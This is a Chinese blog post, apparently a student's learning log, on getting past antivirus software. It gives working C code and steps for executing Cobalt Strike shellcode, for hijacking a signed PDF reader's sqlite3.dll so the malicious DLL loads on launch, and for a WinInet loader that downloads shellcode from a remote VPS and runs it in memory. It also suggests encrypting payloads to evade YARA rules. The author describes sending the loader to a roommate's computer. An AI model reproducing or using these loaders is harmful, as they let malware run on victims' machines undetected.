00-DLL劫持&C语言远程加载shellcode
阅读原文时间:2023年07月08日阅读:2

0x01 杀软拦截检测规则引导-DLL劫持上线

cs
vs2019
dll劫持工具:https://bbs.pediy.com/thread-224408.htm
极速PDF:https://jisupdf.com/zh-cn/pdf-reader.html#reader

通过cs生成一个payload

选择C和一个侦听器

生成一个paylaod.c文件(这是昨天生成的)

在vs2019中起一个项目,将payload.c中的信息复制粘贴过去

开始编辑:

#pragma comment(linker,"/section:.data,RWE")

/* length: 796 bytes */
unsigned char buf[] = "你的buf";

void main() {
    _asm {
        lea exa,buf
        call exa
        /// <summary>
            /// 取buf地址,放到exa寄存器
            /// 接着调用exa寄存器
            ///
            /// buf是放在数据区的,buf的属性在p文件中是只读,不可以执行的
            /// 需要显示的它执行,所以有语句
            /// #pragma comment(linker,"/section:.data,RWE")
            /// </summary>
    }
}

接着开始运行,预期效果是,被火绒拦截不能上线,在关闭火绒的条件下生成成功,运行之后上线

接下来使用使用dll劫持工具,劫持极速pdf的sqlite3.dll

说明:
1. 将sqlite3.dll改成sqlite3Org.dll,原本程序还是会走sqlite.dll(稍后生成),通过sqlite3.dll进行上线,同时进入sqlite3Org.dll保证程序功能正常
2. 工具有问题不能生成sqlite3.cpp,但是可以把右边的文件cv到sqlte3.cpp

再接下来,依旧关闭火绒,在vs2019中生成一个dll文件;

默认创建就好;

用sqlite3.cpp的内容,覆盖掉dllmain.cpp文件,并且添加#include "pch.h"

然后在下边的入口点进行加载

    unsigned char buf[] = "你的buf";
    void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //利用win32内存分配函数分配内存,用PAGE_EXECUTE_READWRITE设置内存也属性为读写
    memcpy(exec, buf, sizeof(buf));//分配好内存之后,将buf内容拷贝到内存中
    CreateThread(0, 0, LPTHREAD_START_ROUTINE(exec),0,0,0); //创建shellcode线程,将buf的修改为线程类型
    //前两个参数默认为0就行,然后给可执行内存的地址,因为目前只是地址将其转换为线程函数,它没有参数,所以其它的给0

选择realse模式,然后生成

将sqlite3.dll命名为sqliteOrg.dll,再将release中的dll1.dll重命名为sqlite3.dll

接着开启火绒

这一开火绒就把之前生成的那个预期上线的exe杀了;

返回cs,

点击极速pdf.exe

上线成功

1.在启动项中加一个被劫持dll的有签名的软件,这样可以绕过防火墙
2.在生成恶意dll文件时,还是需要关闭防火墙,虽然在创建的时候会被杀,但是创建好了,在劫持的时候不会被杀

3.但是晚上开了个PDF文件,恰好用极速pdf打开,被拦截了
4.但是,重新生成,打开火绒,点击pdf文件,上线了。。。。

0x02 yara规则匹配

yara git:https://github.com/virustotal/yara/releases/tag/v4.2.3
规则 https://zhuanlan.zhihu.com/p/361359544
IDA,由于没找到IDA复现不算圆满

恶意代码规则:https://github.com/Yara-Rules/rules

1. 匹配特征值(用IDA找特征值,通过特征值进行匹配)
2. 绕过:将数据进行加密,使用时进行动态解密(基于yara的匹配都是黑名单)

0x03 远程加载shellcodeBypass

将shellcode放到服务器,通过socket,或者是windows库提供的http库下载下来,加载到内存中运行,将shellcode放到其他地方,可以绕过大部分杀软

在DLL劫持的时候,生成了一个paylaod.c文件;将payload.c文件复制粘贴重命名为shellcode.c文件,并且,将shellcode.c文件中的除字符内容删除,如图:

将shellcode.c文件上传到vps中,确保能够访问

接下来在vs2019中起一个项目,将下列代码粘贴到源文件.cpp

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib,"WinInet.lib")

char* GetUrlPage(const char* URL, const char* SubPath) {

    HINTERNET hInternet, hConnect, hRequest = NULL;
    DWORD dwOpenRequestFlags, dwRet = 0;
    unsigned char* pResponseHeaderIInfo = NULL;
    DWORD dwResponseHeaderIInfosize = 2048;
    BYTE* pBuf = NULL;
    DWORD dwBufSize = 64 * 2048;

    hInternet = InternetOpenA("WinInerGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    hConnect = InternetConnectA(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL == hConnect)
        return NULL;

    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
        INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

    hRequest = HttpOpenRequestA(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
    HttpSendRequest(hRequest, NULL, 0, NULL, 0);

    pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfosize];
    RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfosize);
    HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfosize, NULL);
    pBuf = new BYTE[dwBufSize];
    RtlZeroMemory(pBuf, dwBufSize);
    InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
    return(char*)pBuf;
}

void main() {
    char* shellcode = GetUrlPage("vps_ip", "/shellcode.c");
    printf("%s in", shellcode);
    int shellcode_length = strlen(shellcode);
    unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
    for (size_t count = 0; count < shellcode_length/2; count++) {
        sscanf_s(shellcode,"%2hhx",&value[count]);
        shellcode += 2;
    }
    void* exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec,value,shellcode_length / 2);
    ((void(*)())exec)();
}

接着,针对生成的exe文件用火绒杀毒

双击exe文件,上线主机成功

加载vps中的恶意代码到本机来执行
嘶,直接把exe发舍友电脑了,但是被definder拦截了,并且执行还报dll缺失的错误
https://blog.csdn.net/weixin_45981481/article/details/113524640
在vs2019中下插件搞,但是依旧不行,哇,难受啊
吐了今天走的弯路属于是走到姥姥家了,先是报不可识别,一个一个排除了中文编码,又开始排大小写变量名,接着是格式错误,然后是gcc,g++编码报错,紧接着使用devcpp来编译,依旧报错,加了个命令之后倒是解决了,但是上不了线,是真的难受,而且下插件又步骤多;最后是放弃了,vs2019的插件打包出来的还是不能上线,也有可能是我打包错了,要是有师傅会的话,踢我一脚,我就来学

全篇总结

目前先写两个简单案例,学汇编去了,不懂汇编,什么hook,什么脱钩,都不懂
果然汇编是绕不过的;
还是得多交流,不交流不行,学什么,怎么学,要什么基础都不知道,怎么学?
还有就是别听说难学,有层心理障碍很是南蚌

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章